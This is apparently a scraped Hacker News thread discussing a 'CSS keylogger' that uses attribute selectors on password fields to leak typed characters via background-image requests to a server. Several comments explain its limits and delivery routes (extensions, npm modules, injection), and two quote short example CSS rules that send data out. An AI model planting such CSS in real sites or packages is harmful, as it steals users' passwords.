Live data from Hacker News

Show HN: A CSS Keylogger

github.com

21–30 of 173 posts

Re: Show HN: A CSS Keylogger

#21
post #3

Hmm, that's pretty bad. CSS probably shouldn't be able to read password inputs. Edit: This doesn't seem to work for me in Chrome 63.0.3239.132 Edit 2: OK, so it appears that this will only work on a password input that updates its "value" attribute with the typed in value. This doesn't happen unless there is JavaScript that updates the value attr with the input.value

So wouldn't that mean, then, that your CSS matchers would have to contain absolutely every permutation of text possible?

Re: Show HN: A CSS Keylogger

#22
No it does not. CSS selectors do not apply to input content and `[value]` selectors apply to attributes, which are not updated by just typing in it.

This is not a CSS keylogger if you need to update the attributes with the input value via JS.

Edit: this apparently works on React sites because React seems to update the `value` attribute as well. Maybe that should be fixed as it’s unnecessary.

Re: Show HN: A CSS Keylogger

#23

Why do you have to activate the extension before entering the password?

So you can test the "exploit" obviously.

yes obviously, but in a real world scenario how would that work? Malicious extension loads the CSS file in my current tab and sniffs my password on the attacker's server? Can Chrome extensions load CSS without me having to click/activate them?

Re: Show HN: A CSS Keylogger

#24
post #3

Hmm, that's pretty bad. CSS probably shouldn't be able to read password inputs. Edit: This doesn't seem to work for me in Chrome 63.0.3239.132 Edit 2: OK, so it appears that this will only work on a password input that updates its "value" attribute with the typed in value. This doesn't happen unless there is JavaScript that updates the value attr with the input.value

Is there even a use case where CSS needs to read any field's value? (Checkboxes and radio buttons have :checked.)

Re: Show HN: A CSS Keylogger

#25
post #3

Hmm, that's pretty bad. CSS probably shouldn't be able to read password inputs. Edit: This doesn't seem to work for me in Chrome 63.0.3239.132 Edit 2: OK, so it appears that this will only work on a password input that updates its "value" attribute with the typed in value. This doesn't happen unless there is JavaScript that updates the value attr with the input.value

Is there even a use case where CSS needs to read any field's value? (Checkboxes and radio buttons have :checked.)

It's about the selector, so the question should be rephrased to "Is there even a use case where CSS needs to select a node based on any field's value?". I think the answer is yes, but it can be limited. But it can become annoying to have a blacklist of attributes that aren't allowed to be selected on.

Re: Show HN: A CSS Keylogger

#26

Earlier quoted context omitted.

So you can test the "exploit" obviously.

yes obviously, but in a real world scenario how would that work? Malicious extension loads the CSS file in my current tab and sniffs my password on the attacker's server? Can Chrome extensions load CSS without me having to click/activate them?

Yes they can. This attack does not have to be carried done through a chrome extension. I simply chose that because it is the easiest to show off. This can be hidden inside of a malicious npm module or injected into a website that has poor input sanitization.

The most important aspect of this attack is that it is carried out through css. It is possible to block remote javascript code from an extension, in fact, if one wanted to inject javascript into https://instagram.com (my example on github), they would fail.

Re: Show HN: A CSS Keylogger

#27

Earlier quoted context omitted.

The input has to have the "value" set in the HTML. https://jsfiddle.net/tdwsw6zo/4/

Well, yes of course but that's simply an attribute selector parsing the raw HTML. This can be done with any attribute: input[type="password"][hackernews$="isthebestwebsite"] { background-image: url(" http://placehold.it/15x15?text=h4x0r "); } That's not a keylogger at all, the data is already printed in the HTML source.

Yup, you'd have to have all permutations of any length password in the css file AND it would have to be pre-filled using the value attribute. The original post on this talks about it in more detail: https://www.mike-gualtieri.com/posts/stealing-data-with-css-...

Re: Show HN: A CSS Keylogger

#28

Earlier quoted context omitted.

You are. CSS has gone "too far" the second it allowed linking to images. I can simply background-image:url("myTrackingPixel.png") and then track whenever someone tries to load that image from my server.

It drives me crazy when I see someone has implemented Doom in CSS, but it still requires black magic to do a simple responsive three column layout without using bleeding edge features that aren't widely supported yet.

Browser support (not using Flexbox because of IE) is not that hard once you get your head around it:

view-source:http://alistapart.com/d/holygrail/example_3.html

http://alistapart.com/d/holygrail/example_3.html

Re: Show HN: A CSS Keylogger

#29
post #3

Hmm, that's pretty bad. CSS probably shouldn't be able to read password inputs. Edit: This doesn't seem to work for me in Chrome 63.0.3239.132 Edit 2: OK, so it appears that this will only work on a password input that updates its "value" attribute with the typed in value. This doesn't happen unless there is JavaScript that updates the value attr with the input.value

So wouldn't that mean, then, that your CSS matchers would have to contain absolutely every permutation of text possible?

The CSS attribute selector matches against the character at the end of the word [0], so you just need a-z, 0-9 etc and not their permutations. From the end of the readme there's this example:

    input[type="password"][value$="a"] {
      background-image: url("http://localhost:3000/a");
    }
[0] https://developer.mozilla.org/en-US/docs/Web/CSS/Attribute_s...

Re: Show HN: A CSS Keylogger

#30

Earlier quoted context omitted.

yes obviously, but in a real world scenario how would that work? Malicious extension loads the CSS file in my current tab and sniffs my password on the attacker's server? Can Chrome extensions load CSS without me having to click/activate them?

Yes they can. This attack does not have to be carried done through a chrome extension. I simply chose that because it is the easiest to show off. This can be hidden inside of a malicious npm module or injected into a website that has poor input sanitization. The most important aspect of this attack is that it is carried out through css. It is possible to block remote javascript code from an extension, in fact, if one…

Thanks OP - that answers it!
Post reply on HN